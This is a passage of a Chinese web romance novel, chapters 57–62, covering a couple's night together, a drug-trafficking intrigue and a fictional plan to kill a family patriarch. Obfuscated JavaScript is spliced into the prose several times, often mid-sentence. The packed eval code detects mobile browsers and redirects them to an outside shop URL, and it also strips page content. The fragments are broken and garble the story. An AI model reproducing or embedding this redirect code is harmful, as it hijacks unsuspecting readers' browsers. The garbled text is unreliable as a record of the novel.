他了解姜梨胜过了解他自己,这还是江淮之头一次有了一种不相信自己判断的感觉。 还有她说的,谢鹤扬被贩毒团伙追杀。 再结合谢鹤枭说的,他们跟姜祈安有牵扯,他们在调查背后的毒枭。估计是谢鹤扬发现了什么,所以才会引来这样的杀身之祸。 姜梨说他们当时只有两个人,结果谢鹤扬和姜梨一个都没死,谢鹤扬就算再厉害,也不可能一个人干掉所有人,这不符合常理。 很有可能是因为姜梨这个意外,让背后的人不得不不放过他们。 也就是说,那个背后操控的人,不仅认识姜梨,而且很熟。 所以沈叙不可能是背后的大毒枭,他有多想姜家兄妹在这个世界上消失,江淮之是最清楚的,他不可能会放过姜梨。 他和韩斯年一直以来的调查方向就是错的。 还有,谢鹤枭。 他有问题。 第57章 能不能再帮帮我 江淮之最终没有去碰她的手机。 姜梨有她自己的想法,有她自己想要做的事情,她不愿意说的事情,他就配合装作不知道。 比如那个男人究竟是谁,比如她和南诗奕认识的事情,再比如今晚的这些东西她是怎么查的,他都可以不过问。 她要给南诗奕报仇,要把司家和陆家搅的一团乱,那他就可以给她递刀,帮她收拾残局,让她全身而退,他可以让她赢得更加漂亮。 确认痕迹都被清理干净后,江淮之才回到房间里,打开戒指盒,取出来,心形的红钻戒指套在了无名指上,熠熠生辉。 很合适,戴在她手上只会更漂亮。 手背上的一片淤青他在刚刚就已经发现了,上面还有两个细微的针孔。回想起来那天电话里听到的“回血”两个字,江淮之大概知道是怎么一回事了。 洛骞还真是一如既往的有职业操守,帮着姜梨来对他撒谎。 妹妹的帮手很多,他的情敌也很多。 到处招蜂引蝶。 江淮之躺进被窝,把她捞进怀里,轻轻的亲她的眉心和眼皮,是罂粟花,怎么都亲不够。 “嗯,司韩野………” 他的动作一顿,眸色乌黑深沉,藏着无底暗河,幽暗不明。 姜梨的两只手死死抓着他睡袍的衣襟,眉心紧蹙,不停的喊着:“司韩野快跑。” 江淮之的喉结滚了一下,手掌安抚的拍了拍她的背,然后摸她的长发,“跑了还怎么抱你?” 姜梨没再出声,只是一个劲的往他怀里钻。 跟她相拥而眠这件事,江淮之不知道梦了多少年,做了无数个荒唐的梦。 现在成真了,她终于是他的了。 —— 姜梨睁开眼睛,看着昏暗的陌生房间,有点分不清今夕是何年。 懵了好半天,大脑才慢慢的开始开机,不舒服的动了动腿,然后抽了一口凉气。她全身的骨头都像错位了一样,尤其是大腿根,被他分开的太久,很痛。 还有腿间和她的腰,更是直击灵魂的酸痛感,哪哪哪都在痛。 江淮之的手臂搭在她的腰上,察觉到她要起来的动作,微微用力将她压了回去,“做什么?” 姜梨的声音嘶哑的厉害,“有课。” 而且,她还有好多事情没处理好,下午还要再去见一次陆诗予。 江淮之睁开眼睛,嗓音低沉性感,“你还能起得来吗?” 姜梨痛苦的呜咽了一声,开始控诉他,“都是你不对,你技术好差,所以才会这么痛,我才会起不来。” 没有吃过猪肉,她也见过猪跑。 小说里,漫画里,还有特级动作片里,呈现出来的画面分明就是会很舒服,哪里就像她现在这样痛? 姜梨觉得,她已经快死掉了,只剩半条命。 结论:江淮之的技术太烂,已经让她有了心理阴影。 江淮之真是被她这句话给气到了,反问她:“那你为什么能流那么多眼泪?” 还能是为什么? 姜梨皱眉,声音闷闷的,“都说了很痛了。” “嗤。”江淮之笑出声,“我说的眼泪可不是从你眼眶里流出来的,它比你的眼睛还能哭,分明就是爽的很。哭的停不下来也就算了,还会咬人,它明明被我伺候的很愉………嗯!” 姜梨能听得懂他在说什么混账话,一张脸立刻红了个透彻,气急败坏的翻身压在他身上,狠狠的咬在了他的脖子上。 老变态!闭嘴!闭嘴! 她咬的很重,江淮之痛的闷哼一声,没有躲开,反而摁住她的后脑勺,让她咬的更深。 直到尝到淡淡的血腥味,姜梨才松口。 一看,白皙的皮肤上已经印上了一圈深深的牙印,往外冒着血丝。 姜梨才发现,他没有穿衣服。江淮之看着很瘦,但是身材出奇的好。胸肌坚实,块块分明的腹肌线条流畅漂亮。 像雕塑一样的身体,硬邦邦的。 除了那一圈牙印以外,他的胸肌上,肩膀上,脖子上都有不深不浅的抓痕。 她没有留指甲,光秃秃的,被送上云端的时候,还是划出了这样的痕迹。 他还提前准备好了防护措施,分明就是蓄谋已久,老变态,畜生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293846|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜梨是跪趴在他身上的姿势,睡袍的衣襟开的很大,可以清楚的看到灿烂的春光。他的一只手掌不能完全握住,所以江淮之上次帮她洗过澡之后,才说她长大的不止是年龄。 从脖子到锁骨,一直往下,遍布着密密麻麻殷红的吻痕,还有指痕。 江淮之又觉得喉咙开始有些干涩,翻了个身,重新让她躺到床上塞进被窝里,“学校我已经帮你请过假了,不会被记旷课,好好休息吧妹妹,不要再嘴硬了。” 姜梨没再跟他计较别的东西,有好多问题要问他,“弄坏监控,清掉了指纹。江淮之,司家知道你是一个昏君吗?” “老头我已经遣去云城山区了,一直到他死都不会再回来。是不是昏君我不知道,反正我比你其他的帮手有用,他们都是废物。” 姜梨讷讷,“为什么要这么帮我。” 江淮之的母亲是 司承德的第一任妻子,也是他不肯承认的妻子,连同江淮之都被视为弃子,被按上人人喊打的私生子的头衔。 明明拼了命都要回司家,拼了命夺回本该属于他的东西,拼了命的站在了山巅之上。 江淮之不可能不在意司家的地位,那可是他用命换的,姜梨一开始也因为这一点犹豫过,不想毁了他用命换来的东西。 但是姜梨最后还是选了南诗奕。 江淮之早就知道她要对司家出手,非但没有阻止,反而还帮了她。 还有他昨天晚上说的那些,她完全不知道的事情,他偷偷的找过她,分开的那几年,江淮之也是在想她的。 他也是,喜欢她的。 “司家是外人,你是我的妻子。”江淮之手指勾缠她的长发,浓墨般的凤眸荡漾着化不开的温柔缱绻,“我只爱你。” 长睫翕动,姜梨的心脏被重重的敲了一下,悸动得厉害,要跳出胸腔。 胳膊搂住他的脖颈,身体贴的更紧,凑上去亲了他一下,“那你能不能帮人帮到底,送佛送到西。” 姜梨的一条腿缠在了他的腰上,事后本就甜腻的嗓音又被她刻意放软了几分,有些嗲。 “哥哥,再帮帮我。” 第58章 沈叙要试探你 姜梨眼波流转,平日里淡色的唇此刻嫣红无比,眼尾泛红,像娇艳欲滴的玫瑰,勾人魂魄。 江淮之的喉结滚了滚,转身凌驾在她身上,双手按住她的手腕,压在耳侧,“什么忙?” 司老头只是被送去云城还不够,害死南诗奕的罪魁祸首,把江淮之扔到江城,还一直派人追杀他,这样的害群之马怎么配寿终正寝? 姜梨抿唇,直直的看着他的眼睛,一字一句道:“我要司老头的命,哥哥能帮我吗?” 小白兔变成狐狸了,从草食动物变成了肉食动物,要咬人了。 司家的老爷子,江淮之本来就没打算这么放过他。云城山区那种地方,能出的意外可太多了,比如泥石流,再比如山体滑坡。 只不过……… 江淮之嘴角噙着笑,目光灼灼的看她:“叫声好听的,我就帮你。” 好听的?哥哥还不够好听吗?他不是很喜欢听她这么叫吗? 除了这个,她还能叫他什么? 好看的眉毛皱了起来,姜梨开始绞尽脑汁的思考这个问题。 突然江淮之捏住她的无名指,姜梨这才后知后觉,无名指上被套上了戒指。 她和江淮之,现在是合法夫妻,他是她的丈夫,也是她的……… 脸颊开始发烫,全身的血液都烧了起来,开始沸腾翻滚,姜梨咬了一下唇瓣,强迫自己看着他,极其小声的喊了一声:“老公。” 两个字,燃烧了江淮之的理智,低头封住了她的双唇。 两只手十指紧扣,手背青筋凸起。 “江淮之,我还疼………”姜梨感受到了他身体的变化,忙偏过头躲开他的吻,生怕他又要再做一次,那她真的会死。 平日里温文尔雅,不近女色的江淮之,在床上就不是个人!假斯文,真败类! 各种荤话张口就来,不仅连哄带骗的让姜梨说爱他,还让她一遍遍的喊哥哥。 一回忆起来,姜梨的身体和双腿就止不住的发软。 江淮之真的没有打算再折腾她,不过是亲她亲的太狠,身体正常的生理反应而已。 他没再逗她,躺平,抱着她睡清水觉。 …… 沈叙翘着二郎腿,坐在真皮沙发上,一只手拿着手机,正在和电话另一头的人说着什么。 “谢先生,我真的很好奇,你弟弟谢鹤扬两年前到底是怎么脱险的?他一个人干掉了一整个组织的人,您觉得合理吗?” “你想说什么?” 沈叙笑了,“那个时间点,姜梨也刚好在港城,她是不是也在现场呢?我怀疑那次的贩毒团伙的目标根本不是谢鹤扬,而是姜梨。她的身份不简单,那些人是她和谢鹤扬联手解决的。” 谢鹤枭那边一时间没出声,因为…… 两条细白的胳膊正搂着他的脖子,满脸哀求的看着他,红唇凑了上来,声音压低,“姜梨她救过我,你说过不会把她的身份告诉别人的。” 也就是有事相求的时候,纪繁星才会软下来,对他百般讨好,虚伪至极,但是谢鹤枭明显很受用。 贴在她腰间的手掌微微用力,抱得更紧,嘴唇微微勾了起来,对着电话另一边开口:“我已经说的很清楚了,当时只有鹤扬一个人,没有其他人。” “至于姜梨,我早就在她身上试过水了,一把枪就能吓得她魂飞魄散,不过就是一个涉世未深的小姑娘。你到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293847|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在怀疑她,还是在怀疑我?” 对于谢鹤枭说的话,沈叙半信半疑。 谢鹤枭的地位比他高的不是一星半点,某种程度上来说还是沈叙的上司,但是沈叙对他一直都是不信任的,除了那个老大,他只信自己。 姜梨三番两次主动招惹权势滔天的大人物,却屡次脱险。第一次是傅家和沈家,第二次是司家和陆家,姜梨跟谢鹤扬有不浅的交情,还是姜祈安的妹妹,他不得不防。 沈叙眼神晦暗,“我暂且相信您说的话,但是我也要提醒您一句,谢鹤扬虽然是你的亲弟弟,但是老大既然已经派人追杀他,就足以证明他是安插在你身边的眼线,他绝对不能活。” 谢鹤枭的眼神突然淡了下来,周遭散发着一股寒意,“沈叙,我还轮不到你来指挥,做好你自己的事,少把手伸到港城这边来。” 说完不等沈叙那边再说什么,直接利落的挂掉了电话。 纪繁星能感受到他身上散发出来的危险气息,抿了抿唇,想要从他腿上下来,然后逃走。 “利用完就想跑,你当白眼狼当上瘾了?” 谢鹤枭紧紧箍着她的腰,凌厉的黑眸像潜伏在树丛里的狼,带着的狠意让人不寒而栗,“姜梨不过就是救了你一命,这是你第二次为了求我。我居然不知道,你对一个只见过两面的人能做到这个份上,还是说你们两个见过的不止那两面。又或者,你本来就和她认识,故意编排了一出救人于危难之中的好戏。” 纪繁星心下一惊,凉意从尾椎骨窜上了脊背,她吞咽了一下口水,身体颤抖了一下,脸色有些微微发白,却还是强装镇定的回答他:“我没有。” 这章没有结束,请点击下一页继续阅读! 第59章 江淮之好乖啊 姜梨想来想去,还是想要骂她几句。 “怎么每次你给我打电话都是因为这档子破事?夏栎跟你同在港城,怎么她就没有被怀疑过?谢鹤枭有这么难搞吗?” 不提这个还好,一提这个纪繁星就火大,“谢鹤枭根本就不是个人,我怀疑他连家里的花和草都不信,更何况是我这个大活人?等有一天,老娘非得一枪崩了他。” 不然姜梨怎么那么讨厌谢鹤枭?口口声声说姜梨夺妻,救妻心切才想要取她的性命。 一个隐藏的毒贩哪里来的心?他装他妈呢? 要不是那一份合同对江淮之来说很重要,姜梨也看过了,是很正常的合作合同,不然姜梨绝对会撕碎。 姜梨没吭声,等着纪繁星的下文。 “这次的目标很简单,就是在一位港城女星身上拿到一条项链就可以了,到时候我会找机会把她的行程和项链样式发给你。” 姜梨有些惊诧的扬了扬眉毛,就这?给她二十万?纪繁星现在怎么这么大方了? 就当她还在这么想的时候,纪繁星那边又补了一句:“来演一出刺杀谢鹤枭的戏,然后趁机把项链交给我。” 想骂人,但是为了那二十万,姜梨忍了。 人活一世,不能跟钱过不去。 姜梨没有回答她,直接利落的挂断了电话,表示自己知道了。 翻身爬下床,腿软的差点摔下去。 忍着强烈的不适感,姜梨捏着手机跑回了自己的房间,重新挑了一套睡衣,把身上的睡袍换了下来。 洗漱的时候看到了无名指上的那枚戒指,红钻的颜色很纯正,比在照片上还要好看,亮闪闪的。 这种成色的红钻,估计都找不出来几颗。 价钱估计跟姜祈安拍下来的那条宝石项链差不多,很贵。 但是没有一个亿。 抿了抿唇,擦掉手上的水珠,离开浴室回到房间,拿过床头柜上的合同,站到了江淮之的书房门口。 马上十一月就要结束了,十二月到一月应该是江淮之最忙的时候。 这个时候临近年底,司氏旗下的所有企业,年终业绩都是需要江淮之亲自过问查看的,包括但不限于北城和樱洲这两个地方,甚至还需要飞到国外,还要签发员工的新年福利,也就是新年红包。 接下来的这两个多月江淮之会很忙,姜梨没准儿都见不到他的人。 还有沈叙的事情,纪繁星提醒她了,要早做打算。 捏紧了手里的合同,她抬手轻轻敲了几下门板。 “进来。” 姜梨打开门以后没有马上进去,而是趴在门框上,探出一颗脑袋看着江淮之。 他身上套了睡袍,正坐在椅子上,书桌上放着电脑,白光洒在他的脸上,那张妖孽的俊脸被映的更加清晰。 江淮之的那双凤眸其实很凌厉,没有表情的时候尤其冷,像千年老寒冰,散发的冷气将人拒之千里之外。 但是一旦带着笑意看人,就会显得无比深情,比如现在。 或许是因为跟他负距离接触了,又或者是因为她是个花痴,姜梨现在被他这么一看,平复下来的心脏又开始剧烈跳动了起来,耳根都在隐隐发烫。 姜梨突然就很想逃,硬着头皮问了他一句:“那个,你现在很忙吗?” 声音沙哑,却又娇又软,满是情事后的甜腻感。江淮之的喉咙紧了一下,没有说话,朝着她招了招手,示意她过去。 姜梨关上门,慢吞吞挪动步子,站在了桌前,然后把合同放在了桌上。 江淮之抬起眼皮轻扫了一眼那份合同,又去看姜梨,语气淡淡:“过来。” “我就是来问一下,你什么时候回北城。”姜梨没有动,手指搓着衣角,眼神飘忽不定。 有些紧张? 江淮之没有直接回答她的问题,又温声重复了一遍:“乖,过来。” 姜梨走到他身边,然后就被拽着坐到了他的大腿上,她还是不太习惯跟江淮之有这种亲密的举动,挣扎着要起来,白皙的脸染上了一层薄红。 一只胳膊牢牢的箍着她的腰,手掌微微用力不让她乱动,另一只手抬起来,修长的食指刮了一下她的脸颊,“怕我?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293848|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 怕倒是不至于,就是有点不习惯。 “我没有。”姜梨往后缩了一下,“你还没回答我的问题。” 江淮之,“后天回去。” 这么快吗? 姜梨眸光闪烁,眼帘垂了下来,长长的哦了一声,眼睛看了一眼桌子上的合同,眼里闪过一丝不易察觉的厌恶,“你和谢家的这次合作结束以后,不要再来往了。” 纪繁星早就已经知道,谢鹤枭和沈叙是一丘之貉,也早就将这件事告诉了姜梨,他是毒贩,是人渣。 “理由。” 姜梨直视江淮之略带审视的目光,冷哼了一声,一字一句道:“他滥情,是个渣男。” 江淮之眉梢挑了一下,用眼神示意她继续说下去。他想看看,姜梨到底能编出什么样的话来继续骗他。 “都说物以类聚,人以群分,你跟他来往太多次,会被他带坏同化的。听他左一句未婚妻,右一句未婚妻,背地里又 极其不善待纪繁星。” 姜梨一想起谢鹤枭拿着枪威胁她时那种视人命为草芥的样子,恨不得穿越回去把枪夺过来,然后一枪打穿他的脑门,现场表演一个脑袋开花。 “他说的话没有一句是真的,他就是一个满口谎话的伪君子。” 搞不好,还是一个瘾君子。 “这次过后,你别再跟他来往。”姜梨伸出一根食指,一下一下戳着江淮之的胸膛,眼神凶狠的看着他,“听到了吗?” 这个样子落在江淮之眼里非但没有任何杀伤力,反而让他觉得可爱死了,也不舍得再拆穿她这一通真假掺半的话。 握住她的手腕,贴到了自己的脸上,闭上眼睛,蹭了蹭她的手掌,声音富有磁性,语气带着百依百顺的宠溺,“嗯,听到了。” 江淮之这个样子,平日里的凌厉和疏冷都消失的无影无踪,有的只有贪恋,对她的贪恋。 姜梨的手掌顿时像着了火,一瞬间变得滚烫,连心口都觉得热,脸上的薄红也变成了绯红,堪比扫了一层腮红。 江淮之现在,真的好乖啊。 像猫。 第60章 姜梨要去戒毒所 姜梨越看,就越想揉他两把,就像平时揉小野那样。 是这样想的,她也是这么做的,抬起手轻轻摸他的脑袋,像在顺毛。 江淮之僵了一下,最终还是没有让她别摸,全身上下都写着“顺从”两个字。 “昨晚梦到什么了?” 姜梨回答:“梦啊………我不记得了。” 她确实不记得了,但她知道是一个噩梦,一场噩梦,不记得才最好。 后知后觉又觉得不对劲,江淮之怎么知道她做梦? 姜梨停下来动作,眉毛微微蹙起,“我说梦话了吗?” 江淮之“嗯”了一声。 她生怕自己像之前昏迷不醒的时候那样,无意识的就是一顿表白,这种事情已经不止一次了,阮经颜听到过,洛骞听到过,叶辞听到过,谢鹤扬也听到过。 姜梨一脸紧张,“我说什么了?” “一直在喊别人的名字。”江淮之捏着她手腕的手松开,抬起她的下巴,“还是一个男人的名字,江太太不跟我解释一下吗?” 姜梨先是松了口气,然后拍开他的手,“你骗人,就算是天塌下来,我也不会去喊别人的名字。” 说完又补了一句:“我才不像你,莺莺燕燕那么多。” “一个叶辞,一个谢鹤扬,我看陆临对你也是有兴趣的很,这都不多,还要怎么才算多?”江淮之真是被她气笑了,“你嘴里说的那些莺莺燕燕我已经亲口跟你辟谣过了,不要污蔑我。” 他只辟谣了舒羽和傅绾,还没说他梦里喊过的阿愿是谁呢。 姜梨也不想再去纠结这个问题,没有人能从江淮之嘴里撬出来他的过往,包括那些跟他有过关联的故人。 但是,她也的确因为这个原因,因为这个人流了好多眼泪,她是真的记仇。 于是,姜梨脱口而出:“那又怎么了?别说就这么三个了,就算是我跟一千个男人眉来眼去,暧昧不断,但是我也只爱你一个人啊。” 姜梨心里想:啧,好渣的话啊。 江淮之低垂的眸子褪去了温情,脸上的表情明明看不出喜怒,但是姜梨知道,他这是在生气了。 要的就是这种效果,姜梨就是要让他也尝一下这种感受,气死他才好。 姜梨眼底都是狡黠,笑眯眯的问:“我说的难道不对吗?哥哥,你跟他们都不能比,你是正宫,要通情达理,不要计较这些细枝末节,要大度一………唔!” 绯色的唇扯出来一抹冷笑,江淮之扣住她的后脑勺,用实际行动来让她闭嘴。 不能说不温柔,他不是在亲她,根本就是在咬她,惩罚意味非常重。 从昨天晚上过后,江淮之像变了个人,动不动就亲她,动不动就咬她,情动的时候是这样,生气了还是这样。 江淮之适可而止,也没有真的用力去咬她,在姜梨快喘不上气的时候放开,抬手轻轻摩擦她水光潋滟的唇瓣,“不要再说这种刺耳的话来气我,我的脾气不是太好。” “会发疯。” 脾气不好?会发疯?江淮之? 在姜梨的印象中,他从来没有过情绪波动很大的时候,温和又疏冷,她只当江淮之说的这句话,是在吓唬她。 不能再这样跟他待在一起了,姜梨说了句:“我饿了,要吃饭。” “去吧,叫季妍。” 江淮之松开她的一瞬间,姜梨就迅速从他腿上下来,逃似的跑出了书房。 像受惊的蝴蝶。 江淮之收回视线,摸出手机,给陆七拨去了一通电话,简单问了一下陆家的情况。 陆七声音幽怨:“得亏陆氏干干净净,陆诗予也没有参与运毒,不然我真能被你们夫妻俩给坑死。” 江淮之开了免提,随手把手机扔在了桌面上,从烟盒里摸出一根烟,点燃,“陆诗予吸毒你不是早就知道了?姜梨这也是间接帮你解决了这么一个毒瘤。宴会上的事,你和陆临两个人都动手脚了,你现在别在我这装怨夫。” 陆七心想,江淮之这人太可怕了,那双眼睛堪比火眼睛睛。 他没否认江淮之说的话,想到了一件更重要的事,“我这有个小道消息不知道该不该跟你说呢?关于姜梨的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293849|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “什么?” 陆七笑了声,语气有些欠,“你求求我。” 江淮之语气不变:“你他妈是被警察审成傻逼了么?是的话就去樱洲大道600号看看,看好了再来跟我说话。” 樱洲大道600号,是全国排行前三的精神病院………. “姜梨明天下午估计会去戒毒所。”陆七也不再跟他贫嘴了,他说不过江淮之这个毒舌男,“她跟南诗奕的关系绝对不简单,估计还觉得不解气,明天要去找陆诗予寻仇呢。” 姜梨的性格还算温软,前提是你不要去招惹她,一旦惹毛了,天灵盖能给你掀了。她都说出“想要司老头的命”这种话了,跟南诗奕的关系肯定不浅。 江淮之:“你爷爷怎么说。” “能怎么说?陆诗予吸毒是事实,有再多的感情,在利益面前他也只会弃掉。”陆七想想就觉得好笑,语气极为讽刺,“能跟你家那个死老头混在一起的人,能是什么好 东西?” 这是事实,司家和陆家是世交,不管是老一辈还是小一辈,没有一个是省油的灯,人均八百个心眼子。 小的斗死老的,元老又来制衡小的。 明明是有着血缘关系的人,却还是因为权利非要斗个你死我活。 不要太讽刺。 “戒毒所那种地方,你还是想办法别让姜梨去了。”陆七难得正经一次,“万一想起点什么,她一个大学都没毕业的小姑娘承受不住的,搞不好又要脱一层皮了。” 江淮之没有正面回答他的问题,“先挂了。” 书房安静下来,烟雾缭绕,尼古丁的味道蔓延开,浓烈的苦涩味道让人的大脑愈发清醒。 姜梨现在还只是以为“司韩野”是梦里的npc,所以她不会记得,醒过来就忘了。 洛骞说的,只要不受刺激,可以拖一两年甚至更久。 戒毒所绝对可以算得上是那个可以刺激到她的地方。 如果不让姜梨去,那她估计要跟他闹翻天。 叹了一口气,久违的拨通了叶止的电话。 第61章 因为港城没有你 电话铃响了十几秒,叶止那边才接听。 声音透过听筒传出来,都能清晰的感受到叶止的语气有多冷,“什么事?” 要不是看在江淮之把姜梨从沈家捞出来的份上,他早就把他删除拉黑了,哪里还会去接他的电话? “把陆诗予从戒毒所弄出来,医院也好,警局也好,或者监狱也行。” 叶止蹙眉,以为他又要因为一些利益牵扯想要保下陆诗予,“江淮之,吸毒零容忍你不知道啊?” “等姜梨做完想要做的事,叶少尉爱怎么样就怎么样,都跟我没有半点关系,但是姜梨绝对不能去戒毒所那种腌臢地。” 呵,江淮之的消息还挺灵通的。 之前姜祈安出事也没见他急,现在倒是装起来了,不愧是司家的儿子,跟那个老头子和他那个爹一样,都不当人。 姜祈安养了一头狼崽子,还是一头白眼狼。 江淮之也知道叶止的怨气从何而来,无非就是在怨他包庇司家,然后跟沈家纠缠不清,没有拉姜祈安一把,最后惨死在了大火里。 但是有些事情越解释就会越麻烦,知道的人越多,漏洞就会越多。 “麻烦叶少尉了。” 说完这么一句话以后,江淮之掐断了电话。 事关姜梨,叶止就算对他再不满,也一定会把事情给安排好。 — 姜梨坐在餐桌的椅子上,黑色的长发被黑色的皮筋束缚,松松垮垮的挽了一个低丸子。 拿着手机,翻出阮经颜的微信,开门见山的问她:“江淮之跟我说他去樱洲找过我,当时你也在现场,是真的假的?” 阮经颜回复的挺快,是一条语音:“是啊,就是你刚回来没几天的时候,去给一个学长庆生你喝多了,江淮之抱你回酒店的,然后就走了。“他不让我告诉你,我就没跟你说。” 过了几秒钟,阮经颜又发来了一条,“就是从那天晚上我才知道,我从高中开始磕的cp不仅是真的,还从来没有be过,江淮之当时的动作和眼神,不要太温柔好吧?最最最重要的一点,他还亲你了!” 亲她? 姜梨捏着手机的手紧了紧,指尖微微泛白。 她还以为,那是在做梦,是幻觉。从江淮之嘴里听到和从别人那里得到证实,给姜梨的感觉也不同。 就会止不住的想,原来在其他人的眼里,江淮之也是喜欢她的,他们也是般配的。 酸涩又混着甜腻,怪不得会有人说爱情是酸甜味的。 江淮之走到她身后,手掌摸了摸她的发顶,“在看什么?” 她一早就听到了江淮之开门的声音以及脚步声,没有抬头,“在问阮经颜,你说的那些事是不是真的。” 停顿了一下,姜梨又补了一句话:“假斯文,真败类。” 表面上是一副看破红尘,清风明月的样子。背地里又是偷偷亲别人,又是提前准备好了那个东西,然后在床上说出来的话也是一句比一句炸裂。 典型的外冷内骚,简称闷骚。 江淮之没否认,揉了两下她的头发,拉开旁边的椅子坐下。 姜梨余光看了他几眼,然后继续装作在跟阮经颜聊天,一边不经意的问他:“你为什么要把司南衍调到江城啊?” 江淮之环着胳膊,微微抬起眼皮,“怎么突然问这个?” 司南衍被调到江城已经是一个月之前的事情了,那个时候她不问,怎么现在开始问了? 姜梨神色不变,“不能问?” “他在江城安插眼线,还乐此不疲的往我身边塞女人,这种人我留他做什么?”江淮之只说了其中一个原因,司南衍跟沈叙偷偷勾结的事情他没有说。 一是因为没有直接的证据,二是因为姜梨不需要知道这些,她只需要好好的上学,毕业之后做她想做的事情就可以了。 姜梨没有再多问,手机响了一声,她看了一眼,是叶止发过来的信息:“明天下午一点来樱洲医院一趟,我会把陆诗予从戒毒所弄出来。” 她回了个“收到”的表情包,然后删掉了聊天记录。 姜梨没有忘记纪繁星那边的急事,心里已经开始打起了算盘,吃饭的时候也是心不在焉的,眼神全程放空。 她的饮食口味一直都偏清淡,但是江淮之则是跟她相反,所以季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293850|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妍准备的饭菜两种口味都有,姜梨一直处于放空状态,眼睛也不看菜盘,夹了一块酸辣鱼就往嘴里送。 江淮之没有提醒她,也来不及提醒她,就这么看她嚼了两下,然后姜梨咀嚼的动作就这么僵住了。 好辣! 放空的大脑瞬间回神,辣味不断刺激她的味蕾,一张脸以肉眼可见的速度红了起来,眼睛里都蒙上了一层生理性眼泪。 “傻了?吐出来啊。“ 见她半天不动,江淮之敲了敲桌子,然后给她倒了一杯凉水,递到她手里。 姜梨一口气喝了个干净,还是觉得辣,又极其自然的把空杯子给他,让他再倒。 就这样整整喝了三杯凉水,姜梨才觉得好一点,喉咙都被辣的有点痛,脑门和鼻尖出了一层薄汗,本来被江淮之亲的潋滟的嘴唇现在更是红艳。 “想什么想的吃饭都在走神?” 姜梨:“想你。” 这是编谎话编上瘾了?随时随地,张口就来。 江淮之挑眉,菲薄的唇角微微上扬,“我就在这,你别光想啊,可以直接上。” 姜梨真是被他这句话从头雷到了脚,又震惊,又羞耻,又气愤。 顶着一张无欲无求的脸,脑子里装的却是一堆没用的黄色废料,闷骚男!老王八蛋! “你能不能不要这么不正经?”姜梨深吸了一口气,实在忍不住,在桌子底下轻轻踹了他一脚,“我是在想,我寒假的时候想回一趟港城。反正你那个时候会很忙,我不想留在这边。” 江淮之有一下没一下的敲着桌面,“你在那边还有认识的人?” 纪繁星算一个,夏栎也算一个,虽然都不是什么正经人,来无影去无踪的。 “嗯。”姜梨模棱两可的应了一声。 “你喜欢港城吗?” 姜梨的手指僵了一下,眼神闪了闪,“喜欢它的气候,冬天没有樱洲和北城那么冷,但我不喜欢这个地方。” “嗯?” 有些话说出来太矫情,但是不说的话又憋的难受。想了想,姜梨只简单的总结了一句话。 “在港城见不到你。” 第62章 阿愿 餐厅骤然安静下来。 江淮之的眼皮低垂,掩去眸底翻涌的海浪。 姜梨说那句话时,轻快的语调里夹杂着一丝不易察觉的沉重,让他的喉咙有些发苦。 明明算是在表白心迹的话,从她嘴里说出来却是极致的悲。 姜梨在港城那两年,大概很苦。 江淮之不说话,姜梨也反应过来,她说的确实太直白,压抑的情感就这么不经意的被她这样给说了出来。 姜梨也不知道江淮之是什么想法,也在心里骂自己过于莽撞,受不了这样沉重的氛围,抿了抿唇,匆匆扔下一句:“我困了。” 然后逃似的回到了自己的房间。 江淮之偏头看向窗外,外面不知何时刮起了狂风。 唇角微勾,这个天气还真是应景。 —— 一道亮光划破天际,雷声滚滚,狂风暴雨在夜里肆虐。 